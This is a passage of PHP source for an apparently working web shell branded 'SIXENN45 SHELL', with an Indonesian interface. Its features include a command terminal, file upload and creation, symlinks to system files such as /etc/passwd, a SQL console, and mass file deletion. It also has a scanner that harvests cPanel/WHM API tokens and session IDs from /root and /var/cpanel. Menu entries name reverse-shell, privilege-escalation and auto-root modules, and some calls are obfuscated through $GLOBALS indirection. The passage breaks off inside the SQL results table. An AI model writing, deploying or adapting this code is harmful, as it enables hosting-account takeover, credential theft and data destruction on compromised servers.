Default scan 1 hari terakhir. | Centang "Pakai jam" + isi jumlah jam untuk cek file baru/edit terbaru dalam hitungan jam (waktu ditampilkan WIB).</div> </div> <!-- DELETE ALL --> <div class="delete-all-box"> <span style="color:#f00;font-weight:bold;font-size:16px;">[!] DELETE ALL</span> <span class="warning">[!] Hapus SEMUA <?php echo $total_all; ?> file hasil scan ini!</span> <a href="?action=scanner&delete_all=yes&dir=<?php echo urlencode($current_dir); ?>&scan_path=<?php echo urlencode($scan_path); ?>&days=<?php echo $days; ?>&ext=<?php echo urlencode(implode(',', $exts)); ?>&limit=<?php echo $limit; ?>&search_string=<?php echo urlencode($search_string); ?>&search_regex=<?php echo $search_regex?'1':'0'; ?>&exclude_dirs=<?php echo urlencode(implode(',', $exclude_dirs)); ?>" class="btn-delete-all" onclick="return confirm('[!][!][!] PERINGATAN! Anda akan menghapus SEMUA <?php echo $total_all; ?> file hasil scan!\n\nYakin ingin melanjutkan?')">[DEL] DELETE ALL (<?php echo $total_all; ?> files)</a> </div> <!-- PANEL UAPI / cPanel TOKEN FINDER --> <div style="background:#0a1a0a;border:1px solid #0f0;border-radius:5px;padding:12px 15px;margin:15px 0;"> <h3 style="color:#0f0;margin:0 0 10px;font-size:15px;">[UAPI] cPanel/WHM Token Finder</h3> <div style="font-size:12px;color:#0f0;margin-bottom:10px;"> Deteksi otomatis token cPanel/WHM dari lokasi standar + scan path kustom. Format: <code style="color:#0ff;">Authorization: cpanel|whm user:APITOKEN</code>, session <code style="color:#0ff;">cpsess##########</code>, access hash <code style="color:#0ff;">/root/.accesshash</code>, <code style="color:#0ff;">/var/cpanel/apisessiontoken</code>. </div> <form method="GET" style="display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin-bottom:10px;"> <input type="hidden" name="action" value="scanner"> <input type="hidden" name="uapi_scan" value="1"> <label style="color:#888;font-size:12px;">Path UAPI:</label> <input type="text" name="uapi_path" value="<?php echo isset($_GET['uapi_path']) ? htmlspecialchars($_GET['uapi_path']) : '/'; ?>" style="width:250px;background:#1a1a1a;color:#0f0;border:1px solid #0f0;padding:4px 8px;border-radius:3px;font-size:12px;"> <button type="submit" style="background:#0f0;color:#000;border:none;padding:4px 12px;cursor:pointer;font-weight:bold;border-radius:3px;font-size:12px;">[SCAN] UAPI Token</button> </form> <?php if (isset($_GET['uapi_scan']) && $_GET['uapi_scan'] == '1') { $uapi_path = isset($_GET['uapi_path']) ? $_GET['uapi_path'] : '/'; $uapi_path = realpath($uapi_path) ?: '/'; echo '<div style="background:#0d1a0d;border:1px solid #1f3a1f;padding:10px;border-radius:4px;font-size:12px;color:#0f0;max-height:400px;overflow:auto;">'; echo '<strong style="color:#0ff;">[+] Scan UAPI token dari: ' . htmlspecialchars($uapi_path) . '</strong><br>'; $token_locations = array('/var/cpanel/apisessiontoken','/root/.accesshash','/root/.cpanel/','/var/cpanel/','/home/'); $found_tokens = array(); function scan_token_file($path) { $tokens = array(); if (is_file($path) && is_readable($path)) { $content = @file_get_contents($path, false, null, 0, 1024 * 1024); if ($content !== false) { $patterns = array( 'UAPI/WHM API Token' => '/Authorization\s*:\s*(cpanel|whm)\s+[a-zA-Z0-9_.-]+:[A-Za-z0-9_\-]{20,}/i', 'cPanel/WHM Session (cpsess)' => '/cpsess[0-9a-zA-Z]{10,}/', 'WHM Access Hash' => '/^[a-zA-Z0-9_]{1,32}:[a-f0-9]{32}$/mi', 'cPanel API Token (file)' => '/^[A-Za-z0-9]{40,}$/m', ); foreach ($patterns as $label => $pattern) { if (@preg_match_all($pattern, $content, $matches)) { foreach ($matches[0] as $match) { $tokens[] = array('label' => $label, 'token' => $match, 'source' => $path); } } } } } return $tokens; } foreach ($token_locations as $loc) { if (file_exists($loc)) { $found = scan_token_file($loc); foreach ($found as $t) { $found_tokens[] = $t; } } } $uapi_scan_results = array(); if (is_dir($uapi_path)) { $uapi_it = new RecursiveDirectoryIterator($uapi_path, RecursiveDirectoryIterator::SKIP_DOTS); $uapi_limit = new RecursiveCallbackFilterIterator($uapi_it, function($current) { if ($current->isDir()) { $name = $current->getFilename(); if (in_array($name, array('cache','logs','vendor','tmp','.git','node_modules'))) return false; return true; } $ext = strtolower(pathinfo($current->getFilename(), PATHINFO_EXTENSION)); return in_array($ext, array('php','conf','txt','cfg','ini','json','yaml','yml','sh','htaccess','passwd','dat')); }); $uapi_rit = new RecursiveIteratorIterator($uapi_limit, RecursiveIteratorIterator::LEAVES_ONLY); $uapi_rit->setMaxDepth(3); $uapi_count = 0; foreach ($uapi_rit as $file) { if ($uapi_count >= 200) break; $uapi_count++; $uapi_path2 = $file->getPathname(); if (is_file($uapi_path2) && is_readable($uapi_path2) && filesize($uapi_path2) < 1024 * 1024) { foreach (scan_token_file($uapi_path2) as $t) { $uapi_scan_results[] = $t; } } } } $found_tokens = array_merge($found_tokens, $uapi_scan_results); if (empty($found_tokens)) { echo '<span style="color:#ff0;">[!] Tidak ada token cPanel/WHM ditemukan.</span><br>'; } else { echo '<strong style="color:#0ff;">[+] ' . count($found_tokens) . ' token ditemukan:</strong><br><br>'; $seen = array(); foreach ($found_tokens as $t) { $key = $t['label'] . '|' . $t['token']; if (isset($seen[$key])) continue; $seen[$key] = true; echo '<div style="margin-bottom:8px;padding:6px;background:#0a1a0a;border-left:3px solid #0f0;">'; echo '<span style="color:#0ff;font-weight:bold;">[' . $t['label'] . ']</span> '; echo '<code style="color:#ff0;word-break:break-all;">' . htmlspecialchars($t['token']) . '</code><br>'; echo '<span style="color:#888;font-size:11px;">Sumber: ' . htmlspecialchars($t['source']) . '</span>'; echo '</div>'; } } echo '</div>'; } ?> </div> <!-- DELETE BY NAME (di scanner) --> <div class="delete-name-box"> <span style="color:#f00;font-weight:bold;">[!] DELETE BY NAME:</span> <form method="GET" style="display:flex;gap:5px;flex-wrap:wrap;align-items:center;"> <input type="text" name="delete_name" placeholder="wp-indas.php" style="width:200px;"> <input type="hidden" name="action" value="scanner"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current_dir); ?>"> <input type="hidden" name="scan_path" value="<?php echo htmlspecialchars($scan_path); ?>"> <input type="hidden" name="days" value="<?php echo $days; ?>"> <input type="hidden" name="ext" value="<?php echo htmlspecialchars(implode(',', $exts)); ?>"> <input type="hidden" name="limit" value="<?php echo $limit; ?>"> <input type="hidden" name="search_string" value="<?php echo htmlspecialchars($search_string); ?>"> <input type="hidden" name="search_regex" value="<?php echo $search_regex?'1':'0'; ?>"> <input type="hidden" name="exclude_dirs" value="<?php echo htmlspecialchars(implode(',', $exclude_dirs)); ?>"> <button type="submit" class="btn-danger" onclick="return confirm('[!] Hapus SEMUA file dengan nama ini di semua direktori?')">[DEL] Delete All By Name</button> </form> <span style="color:#888;font-size:11px;">Contoh: wp-indas.php, shell.php, backdoor.php</span> </div> <?php if (isset($_GET['msg'])): ?> <div class="msg <?php echo strpos($_GET['msg'], '[OK]')!==false?'':'error'; ?>"> <?php echo htmlspecialchars($_GET['msg']); ?> </div> <?php endif; ?> <div class="total"> <span class="count">[STAT] Menampilkan <?php echo $total_display; ?> dari <?php echo $total_all; ?> file (limit: <?php echo $limit==999999?'Semua':$limit; ?>)</span> <span class="path-info">[DIR] <?php echo htmlspecialchars($scan_path); ?> | <?php echo $hours_mode?($hours.' jam (WIB)'):($days.' hari'); ?></span> <?php if (!empty($search_string)): ?> <span style="color:#0ff;">[SEARCH] Mencari: "<?php echo htmlspecialchars($search_string); ?>" <?php echo $search_regex?'(regex)':''; ?></span> <?php endif; ?> <?php if (!empty($exclude_dirs)): ?> <span style="color:#ff0;"> Exclude: <?php echo htmlspecialchars(implode(', ', $exclude_dirs)); ?></span> <?php endif; ?> </div> <?php if ($total_display > 0): ?> <form method="POST" id="massDeleteForm"> <input type="hidden" name="action" value="scanner"> <input type="hidden" name="dir" value="<?php echo htmlspecialchars($current_dir); ?>"> <input type="hidden" name="scan_path" value="<?php echo htmlspecialchars($scan_path); ?>"> <input type="hidden" name="days" value="<?php echo $days; ?>"> <input type="hidden" name="ext" value="<?php echo htmlspecialchars(implode(',', $exts)); ?>"> <input type="hidden" name="limit" value="<?php echo $limit; ?>"> <input type="hidden" name="search_string" value="<?php echo htmlspecialchars($search_string); ?>"> <input type="hidden" name="search_regex" value="<?php echo $search_regex?'1':'0'; ?>"> <input type="hidden" name="exclude_dirs" value="<?php echo htmlspecialchars(implode(',', $exclude_dirs)); ?>"> <button type="submit" name="delete_selected" class="mass-delete-btn" id="massDeleteBtn">[DEL] Delete Selected (0)</button> <table> <thead> <tr> <th style="width:30px;"><input type="checkbox" id="selectAll" onclick="toggleAll(this)"></th> <th>#</th> <th>Path</th> <th style="width:80px;">Size</th> <th style="width:160px;">Modified</th> <?php if (!empty($search_string)): ?> <th style="width:180px;">Snippet</th> <?php endif; ?> <th style="width:120px;">Action</th> </tr> </thead> <tbody> <?php $i=1; foreach ($results as $file): $ext = pathinfo($file['path'], PATHINFO_EXTENSION); $badge = $ext=='phtml'?'badge-phtml':'badge-php'; $file_url = "https://" . $_SERVER['HTTP_HOST'] . str_replace($doc_root, '', $file['path']); ?> <tr> <td class="checkbox-cell"> <input type="checkbox" name="selected_files[]" value="<?php echo htmlspecialchars($file['path']); ?>" class="file-checkbox" onchange="updateCount()"> </td> <td><?php echo $i++; ?></td> <td> <span class="badge <?php echo $badge; ?>"><?php echo strtoupper($ext); ?></span> <span class="path-text"><?php echo htmlspecialchars($file['path']); ?></span> </td> <td class="file-size"><?php echo number_format($file['size']); ?></td> <td class="file-time"><?php echo $file['modified']; ?></td> <?php if (!empty($search_string)): ?> <td> <?php if (!empty($file['snippet'])): ?> <span class="snippet-text" title="<?php echo htmlspecialchars($file['snippet']); ?>"><?php echo htmlspecialchars($file['snippet']); ?></span> <?php else: ?> <span style="color:#666;">(tidak ada cuplikan)</span> <?php endif; ?> </td> <?php endif; ?> <td> <div class="actions-cell"> <button class="btn-copy" onclick="copyPath('<?php echo addslashes($file['path']); ?>', this)">[COPY]</button> <a href="<?php echo htmlspecialchars($file_url); ?>" target="_blank" class="btn-action btn-url">[WEB]</a> <a href="?action=scanner&view=<?php echo urlencode($file['path']); ?>&dir=<?php echo urlencode($current_dir); ?>&scan_path=<?php echo urlencode($scan_path); ?>&days=<?php echo $days; ?>&ext=<?php echo urlencode(implode(',', $exts)); ?>&limit=<?php echo $limit; ?>&search_string=<?php echo urlencode($search_string); ?>&search_regex=<?php echo $search_regex?'1':'0'; ?>&exclude_dirs=<?php echo urlencode(implode(',', $exclude_dirs)); ?>" class="btn-action">[VIEW]</a> <a href="?action=scanner&download=<?php echo urlencode($file['path']); ?>" class="btn-action btn-download" style="color:#0f0;border-color:#0f0;">[DL]</a> <a href="?action=scanner&delete=<?php echo urlencode($file['path']); ?>&dir=<?php echo urlencode($current_dir); ?>&scan_path=<?php echo urlencode($scan_path); ?>&days=<?php echo $days; ?>&ext=<?php echo urlencode(implode(',', $exts)); ?>&limit=<?php echo $limit; ?>&search_string=<?php echo urlencode($search_string); ?>&search_regex=<?php echo $search_regex?'1':'0'; ?>&exclude_dirs=<?php echo urlencode(implode(',', $exclude_dirs)); ?>" class="btn-action btn-delete" onclick="return confirm('Hapus file ini?')">[DEL]</a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </form> <?php else: ?> <div style="color:#666;padding:20px;text-align:center;border:1px dashed #333;border-radius:5px;"> [!] Tidak ada file dalam <?php echo $hours_mode?($hours.' jam'):($days.' hari'); ?> terakhir <?php if (!empty($search_string)): ?> <br>dengan konten mengandung "<?php echo htmlspecialchars($search_string); ?>" <?php endif; ?> <?php if (!empty($exclude_dirs)): ?> <br>(dengan mengecualikan folder: <?php echo htmlspecialchars(implode(', ', $exclude_dirs)); ?>) <?php endif; ?> </div> <?php endif; ?> <!-- View File --> <?php if (isset($_GET['view'])): $view_file = $_GET['view']; if (file_exists($view_file)): $view_url = "https://" . $_SERVER['HTTP_HOST'] . str_replace($doc_root, '', $view_file); ?> <div class="view-box"> <h3>View: <?php echo htmlspecialchars(basename($view_file)); ?></h3> <div style="color:#888;font-size:11px;word-break:break-all;margin-bottom:5px;"> <strong>Path:</strong> <?php echo htmlspecialchars($view_file); ?> </div> <div class="url-display"> <strong>[LINK] URL:</strong> <a href="<?php echo htmlspecialchars($view_url); ?>" target="_blank" style="color:#0f0;"><?php echo htmlspecialchars($view_url); ?></a> </div> <pre><?php echo htmlspecialchars(file_get_contents($view_file)); ?></pre> <button class="btn-copy" onclick="copyPath('<?php echo addslashes($view_file); ?>', this)">[COPY] Copy Path</button> <a href="<?php echo htmlspecialchars($view_url); ?>" target="_blank" class="btn-action btn-url">[WEB] Open URL</a> <a href="?action=scanner&download=<?php echo urlencode($view_file); ?>" class="btn-action btn-download" style="color:#0f0;border-color:#0f0;">[DL] Download</a> <a href="?action=scanner&dir=<?php echo urlencode($current_dir); ?>&scan_path=<?php echo urlencode($scan_path); ?>&days=<?php echo $days; ?>&ext=<?php echo urlencode(implode(',', $exts)); ?>&limit=<?php echo $limit; ?>&search_string=<?php echo urlencode($search_string); ?>&search_regex=<?php echo $search_regex?'1':'0'; ?>&exclude_dirs=<?php echo urlencode(implode(',', $exclude_dirs)); ?>" class="btn-action"> Close</a> </div> <?php endif; endif; ?> <?php if (isset($_GET['download'])): $download_file = $_GET['download']; if (file_exists($download_file)): header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($download_file) . '"'); readfile($download_file); exit; endif; endif; ?> <div class="footer">Sixenn45 Scanner — Path kustom + Deteksi otomatis file baru (default 1 hari)</div> </div> <div class="modal-overlay" id="deleteModal"> <div class="modal-box"> <h2 style="color:#f00;">[!] Konfirmasi Delete</h2> <p>Yakin ingin menghapus file ini?</p> <div class="path-display" id="deletePathDisplay"></div> <div> <a href="#" id="deleteConfirmLink" class="btn-confirm">[DEL] Ya, Hapus!</a> <button class="btn-cancel" onclick="closeDeleteModal()">[FAIL] Batal</button> </div> </div> </div> <div class="toast" id="toast">[OK] Copied!</div> <script> function copyPath(path, btn) { if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(path).then(() => { showToast('[OK] Copied: ' + path); btn.textContent = '[OK]'; setTimeout(() => btn.textContent = '[COPY]', 1500); }).catch(() => fallbackCopy(path, btn)); } else { fallbackCopy(path, btn); } } function fallbackCopy(path, btn) { var input = document.createElement('input'); input.value = path; document.body.appendChild(input); input.select(); try { document.execCommand('copy'); showToast('[OK] Copied: ' + path); btn.textContent = '[OK]'; setTimeout(() => btn.textContent = '[COPY]', 1500); } catch(e) { showToast('[FAIL] Gagal copy'); } document.body.removeChild(input); } function toggleAll(master) { var checkboxes = document.querySelectorAll('.file-checkbox'); checkboxes.forEach(function(cb) { cb.checked = master.checked; }); updateCount(); } function updateCount() { var checkboxes = document.querySelectorAll('.file-checkbox:checked'); var btn = document.getElementById('massDeleteBtn'); btn.textContent = '[DEL] Delete Selected (' + checkboxes.length + ')'; btn.disabled = checkboxes.length === 0; } function showDeleteModal(path) { document.getElementById('deletePathDisplay').textContent = path; var params = new URLSearchParams(window.location.search); document.getElementById('deleteConfirmLink').href = '?action=scanner&delete=' + encodeURIComponent(path) + '&dir=' + encodeURIComponent('<?php echo $current_dir; ?>') + '&scan_path=' + encodeURIComponent('<?php echo $scan_path; ?>') + '&days=' + encodeURIComponent('<?php echo $days; ?>') + '&ext=' + encodeURIComponent('<?php echo implode(',', $exts); ?>') + '&limit=' + encodeURIComponent('<?php echo $limit; ?>') + '&search_string=' + encodeURIComponent('<?php echo $search_string; ?>') + '&search_regex=' + encodeURIComponent('<?php echo $search_regex?'1':'0'; ?>') + '&exclude_dirs=' + encodeURIComponent('<?php echo implode(',', $exclude_dirs); ?>'); document.getElementById('deleteModal').classList.add('active'); } function closeDeleteModal() { document.getElementById('deleteModal').classList.remove('active'); } function showToast(msg) { var toast = document.getElementById('toast'); toast.textContent = msg; toast.classList.add('show'); clearTimeout(toast._timer); toast._timer = setTimeout(function() { toast.classList.remove('show'); }, 2500); } function setSearch(pattern, regex) { document.getElementById('search_string').value = pattern; document.getElementById('search_regex').checked = regex; document.getElementById('mainForm').submit(); } // Kalau tombol preset jam diklik: centang hours_mode + sync input jam, lalu submit document.querySelectorAll('.preset[data-hour]').forEach(function(btn) { btn.addEventListener('click', function() { var h = btn.getAttribute('data-hour'); var chk = document.getElementById('hours_mode'); var inp = document.getElementById('hours_input'); if (chk) chk.checked = true; if (inp) inp.value = h; }); }); document.getElementById('deleteModal').addEventListener('click', function(e) { if (e.target === this) closeDeleteModal(); }); updateCount(); </script> </body> </html> <?php exit; } // ============================================================ // MAIN SHELL (HOME) — TANPA BACKUP & TANPA DELETE BY NAME // ============================================================ ?> <!DOCTYPE html> <html> <head> <title>SIXENN45 SHELL</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> :root{ --bg:#0a0e0a;--panel:#0f1410;--panel2:#121a13;--border:#1f3a23; --green:#00e676;--green-dim:#1f9e4f;--cyan:#00e5ff;--red:#ff5252; --amber:#ffd740;--text:#c8e6c9;--dim:#5f8a63;--white:#eaffea; } *{box-sizing:border-box} body{ font-family:'Consolas','Courier New',monospace; background:var(--bg);color:var(--text);margin:0;padding:0;font-size:14px; background-image:radial-gradient(rgba(0,230,118,0.04) 1px,transparent 1px); background-size:24px 24px; } a{color:var(--cyan);text-decoration:none;transition:color .15s} a:hover{color:var(--green)} input,textarea,select{ background:#0d120e;color:var(--green);border:1px solid var(--border); padding:8px 10px;border-radius:4px;font-family:inherit;font-size:13px; } input:focus,textarea:focus{outline:none;border-color:var(--green);box-shadow:0 0 6px rgba(0,230,118,0.2)} .topbar{ background:linear-gradient(180deg,#0f1a10,#0a0e0a); border-bottom:1px solid var(--border); padding:14px 22px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:10px; } .brand{display:flex;align-items:center;gap:10px} .brand .logo{ background:var(--green);color:#000;font-weight:bold;padding:4px 8px; border-radius:3px;letter-spacing:1px;font-size:13px; } .brand h1{font-size:17px;margin:0;color:var(--green);letter-spacing:2px;font-weight:bold} .brand .ver{color:var(--dim);font-size:11px;letter-spacing:1px} .sysinfo{font-size:11px;color:var(--dim);text-align:right;line-height:1.6} .sysinfo b{color:var(--green);font-weight:normal} .path{ background:var(--panel);border:1px solid var(--border);border-left:3px solid var(--green); padding:10px 14px;margin:14px 20px;font-size:13px;color:var(--green); } .path strong{color:var(--dim);font-weight:normal} .menu{ background:var(--panel);border:1px solid var(--border);border-radius:6px; padding:10px 14px;margin:0 20px 8px 20px; display:flex;flex-wrap:wrap;gap:6px; } .menu a{ color:var(--green);padding:6px 11px;border:1px solid var(--border); border-radius:4px;font-size:12px;letter-spacing:.5px; background:rgba(0,230,118,0.03);transition:all .15s; } .menu a:hover{background:var(--green);color:#000;border-color:var(--green);box-shadow:0 0 8px rgba(0,230,118,0.3)} .menu a.danger{color:var(--red);border-color:#3a1a1a;background:rgba(255,82,82,0.05)} .menu a.danger:hover{background:var(--red);color:#fff;border-color:var(--red)} .wrap{margin:0 20px} .action-box{ background:var(--panel);border:1px solid var(--border);border-radius:6px; padding:16px;margin:12px 0; } .action-box h3{ margin:0 0 12px 0;color:var(--green);font-size:14px;letter-spacing:1px; padding-bottom:8px;border-bottom:1px solid var(--border);text-transform:uppercase; } .action-box input,.action-box textarea{width:100%;margin:5px 0} .action-box input[type="submit"],.action-box button{ background:var(--green);color:#000;border:none;padding:9px 16px;cursor:pointer; font-weight:bold;border-radius:4px;width:auto;letter-spacing:1px;transition:all .15s; } .action-box input[type="submit"]:hover,.action-box button:hover{background:#00c853;box-shadow:0 0 10px rgba(0,230,118,0.4)} .success-box{ background:#0d1f12;padding:14px 16px;margin:12px 0;border:1px solid var(--green); border-left:3px solid var(--green);border-radius:4px;color:var(--green); } table{width:100%;border-collapse:collapse;margin-top:10px;font-size:13px} th{background:var(--panel2);color:var(--green);padding:8px;text-align:left;border-bottom:1px solid var(--green);letter-spacing:.5px} td{padding:7px;border-bottom:1px solid var(--border);color:var(--text)} tr:hover{background:rgba(0,230,118,0.04)} .btn{display:inline-block;padding:5px 10px;border:1px solid var(--border);border-radius:3px;font-size:12px;margin:1px} .btn:hover{border-color:var(--green);color:var(--green)} .btn-danger{color:var(--red);border-color:#3a1a1a} .btn-danger:hover{background:var(--red);color:#fff;border-color:var(--red)} .footer{ text-align:center;margin-top:30px;color:var(--dim);font-size:11px; padding:16px;border-top:1px solid var(--border);letter-spacing:1px; } pre{background:#0a0e0a;padding:12px;overflow:auto;max-height:400px;border:1px solid var(--border);border-radius:4px;color:var(--green);font-size:12px} @media (max-width:600px){.wrap{margin:0 10px}.menu{margin:0 10px}.path{margin:10px}.sysinfo{text-align:left;width:100%}} /* ===== SCANLINE OVERLAY ===== */ body::after{ content:""; position:fixed;top:0;left:0;width:100%;height:100%; background:repeating-linear-gradient( to bottom, rgba(0,0,0,0) 0px, rgba(0,0,0,0) 2px, rgba(0,0,0,0.18) 3px, rgba(0,0,0,0.18) 4px ); pointer-events:none;z-index:9999; } /* ===== TYPING CURSOR ===== */ #brandtext::after{ content:"█"; animation:blink .8s step-end infinite; margin-left:2px; } @keyframes blink{50%{opacity:0}} </style> </head> <body> <div class="topbar"> <div class="brand"> <div class="logo">SX</div> <div> <h1 id="brandtext"></h1> <div class="ver">WEB PANEL // v8.0</div> </div> </div> <div class="sysinfo"> <div>USER: <b><?php echo function_exists('posix_getpwuid')&&function_exists('posix_geteuid')&&($u=sxu_pw())?htmlspecialchars($u['name']):'n/a'; ?></b> | UID: <b><?php echo function_exists('posix_geteuid')?sxu_uid():'n/a'; ?></b></div> <div>PHP: <b><?php echo phpversion(); ?></b> | OS: <b><?php echo sxu_uname('s').' '.sxu_uname('r'); ?></b></div> </div> </div> <div class="path"> <strong>PATH:</strong> <?php echo getBreadcrumb($current_dir); ?> </div> <div class="menu"> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=upload">UPLOAD</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=newfile">NEW FILE</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=newfolder">NEW FOLDER</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=terminal">TERMINAL</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=scanner">SCANNER</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=symlink">SYMLINK</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=sql">SQL</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=uapi">UAPI</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=recon">RECON</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=rshell">RSHELL</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=sensitive">SENSITIVE</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=privesc">PRIVESC</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=dbdetect">DB DETECT</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=autoroot">AUTO ROOT</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=cron">CRON</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&action=network">NETWORK</a> </div></div> <!-- BACKUP BOX DIHAPUS --> <!-- DELETE BY NAME DI HOME DIHAPUS --> <?php if(isset($_GET['msg'])): ?> <div class="success-box" style="<?php echo strpos($_GET['msg'], '[FAIL]')!==false?'border-color:#f00;background:#1a0000;':''; ?>"> <?php echo htmlspecialchars($_GET['msg']); ?> </div> <?php endif; ?> <?php if(isset($_GET['action']) && $_GET['action'] != 'scanner'): ?> <div class="action-box"> <?php switch($_GET['action']): case 'upload': ?> <h3>Upload</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" name="upload" value="Upload"> </form> <?php if(isset($_FILES['file'])): $target = $current_dir . '/' . basename($_FILES['file']['name']); if(@$GLOBALS['__f5']($_FILES['file']['tmp_name'], $target)) echo '<p style="color:#0f0;">[OK] Uploaded</p>'; else echo '<p style="color:#f00;">[FAIL] Failed</p>'; endif; ?> <?php break; case 'newfile': ?> <h3>New File</h3> <form method="post"> <input type="text" name="filename" placeholder="Filename"> <textarea name="content" rows="5"></textarea> <input type="submit" name="create" value="Create"> </form> <?php if(isset($_POST['create'])): $file = $current_dir . '/' . $_POST['filename']; if(@$GLOBALS['__f6']($file, $_POST['content']) !== false) echo '<p style="color:#0f0;">[OK] Created</p>'; else echo '<p style="color:#f00;">[FAIL] Failed</p>'; endif; ?> <?php break; case 'newfolder': ?> <h3>New Folder</h3> <form method="post"> <input type="text" name="foldername" placeholder="Folder name"> <input type="submit" name="create" value="Create"> </form> <?php if(isset($_POST['create'])): if(@mkdir($current_dir . '/' . $_POST['foldername'], 0755)) echo '<p style="color:#0f0;">[OK] Created</p>'; else echo '<p style="color:#f00;">[FAIL] Failed</p>'; endif; ?> <?php break; case 'terminal': ?> <h3>Terminal</h3> <form method="post"> <input type="text" name="cmd" placeholder="Command" style="width:80%;"> <input type="submit" value="Execute"> </form> <?php if(isset($_POST['cmd'])): $output = sxu_run($_POST['cmd']); echo '<pre style="background:#000;padding:10px;overflow:auto;max-height:300px;">' . htmlspecialchars($output) . '</pre>'; endif; ?> <?php break; case 'symlink': ?> <h3>Symlink</h3> <?php // ====== LOGIKA MEMBUAT SYMLINK (diperbaiki) ====== if(isset($_POST['create'])){ $target = trim($_POST['target']); $linkname = trim($_POST['linkname']); // Validasi input tidak kosong if($target === '' || $linkname === ''){ echo '<p style="color:#f00;">[FAIL] Target & nama link tidak boleh kosong.</p>'; } else { // Bersihkan nama link: cegah path traversal (hapus .. dan / di awal) $linkname_clean = basename($linkname); if($linkname_clean !== $linkname){ echo '<p style="color:#f00;">[FAIL] Nama link tidak valid (hanya nama file, tanpa path).</p>'; } else { $full_link = $current_dir . '/' . $linkname_clean; // Cek apakah link dengan nama tsb sudah ada if(file_exists($full_link) || is_link($full_link)){ echo '<p style="color:#f00;">[FAIL] "'.$linkname_clean.'" sudah ada di direktori ini.</p>'; } else { // Cek apakah target ada (file atau direktori) if(!file_exists($target) && !is_link($target)){ echo '<p style="color:#f00;">[FAIL] Target tidak ditemukan: '.htmlspecialchars($target).'</p>'; echo '<p style="color:#999;">Tips: gunakan path absolut, mis. /etc/passwd</p>'; } else { // Coba buat symlink if(@$GLOBALS['__f12']($target, $full_link)){ echo '<p style="color:#0f0;">[OK] Symlink dibuat: '.htmlspecialchars($linkname_clean).' → '.htmlspecialchars($target).'</p>'; } else { $err = error_get_last(); echo '<p style="color:#f00;">[FAIL] Gagal membuat symlink'; if($err) echo ': '.htmlspecialchars($err['message']); echo '</p>'; } } } } } } // ====== HAPUS SYMLINK ====== if(isset($_POST['delete_link'])){ $del = trim($_POST['delete_link']); $del_clean = basename($del); $del_path = $current_dir . '/' . $del_clean; if(is_link($del_path)){ if(@unlink($del_path)){ echo '<p style="color:#0f0;">[OK] Symlink dihapus: '.htmlspecialchars($del_clean).'</p>'; } else { echo '<p style="color:#f00;">[FAIL] Gagal menghapus symlink.</p>'; } } else { echo '<p style="color:#f00;">[FAIL] Bukan symlink / tidak ditemukan: '.htmlspecialchars($del_clean).'</p>'; } } ?> <form method="post" style="margin-bottom:16px;"> <input type="text" name="target" placeholder="Target path (contoh: /etc/passwd)"> <input type="text" name="linkname" placeholder="Nama link (hanya nama file)"> <input type="submit" name="create" value="Create"> </form> <?php // ====== DAFTAR SYMLINK YANG ADA ====== $items = @$GLOBALS['__f14']($current_dir); $links = array(); if($items){ foreach($items as $it){ if($it === '.' || $it === '..') continue; $p = $current_dir . '/' . $it; if(is_link($p)){ $links[] = $it . ' → ' . $GLOBALS['__f13']($p); } } } if(count($links) > 0){ echo '<div style="margin-top:16px;border-top:1px solid #2a2a2a;padding-top:10px;">'; echo '<h4 style="margin:0 0 8px;color:#e0e0e0;">Symlink di direktori ini:</h4>'; echo '<table style="background:#000;border-collapse:collapse;width:100%;">'; echo '<tr style="background:#1a1a1a;"><th style="border:1px solid #333;padding:5px;text-align:left;">Link</th><th style="border:1px solid #333;padding:5px;width:80px;">Aksi</th></tr>'; foreach($links as $i => $link){ $parts = explode(' → ', $link, 2); $name = $parts[0]; echo '<tr>'; echo '<td style="border:1px solid #333;padding:5px;color:#0f0;">'.htmlspecialchars($link).'</td>'; echo '<td style="border:1px solid #333;padding:5px;">'; echo '<form method="post" style="margin:0;"><input type="hidden" name="delete_link" value="'.htmlspecialchars($name).'"><input type="submit" value="Hapus" style="background:#3a1d1d;border:1px solid #6b2b2b;color:#e88;padding:3px 8px;cursor:pointer;"></form>'; echo '</td></tr>'; } echo '</table></div>'; } else { echo '<p style="color:#888;margin-top:12px;">Belum ada symlink di direktori ini.</p>'; } ?> <?php break; case 'sql': ?> <h3>SQL Console</h3> <form method="post"> <input type="text" name="sql_host" placeholder="Host" value="localhost"> <input type="text" name="sql_user" placeholder="User"> <input type="password" name="sql_pass" placeholder="Password"> <input type="text" name="sql_db" placeholder="Database"> <textarea name="sql_query" rows="3"></textarea> <input type="submit" name="sql_exec" value="Execute"> </form> <?php if(isset($_POST['sql_exec'])): $conn = @mysqli_connect($_POST['sql_host'], $_POST['sql_user'], $_POST['sql_pass'], $_POST['sql_db']); if($conn) { $res = @mysqli_query($conn, $_POST['sql_query']); if($res) { if(is_bool($res)) echo '<p style="color:#0f0;">[OK] Query executed (no result set)</p>'; else { echo '<table style="background:#000;border-collapse:collapse;width:100%;">'; echo '<tr>'; while($field = mysqli_fetch_field($res)) echo '<th style="border:1px solid #0f0;padding:5px;">' . htmlspecialchars($field->name) . '</th>'; echo '</tr>'; while($row = mysqli_fetch_assoc($res)) { echo '<tr>'; foreach($row as $col) echo '<td style="border:1px 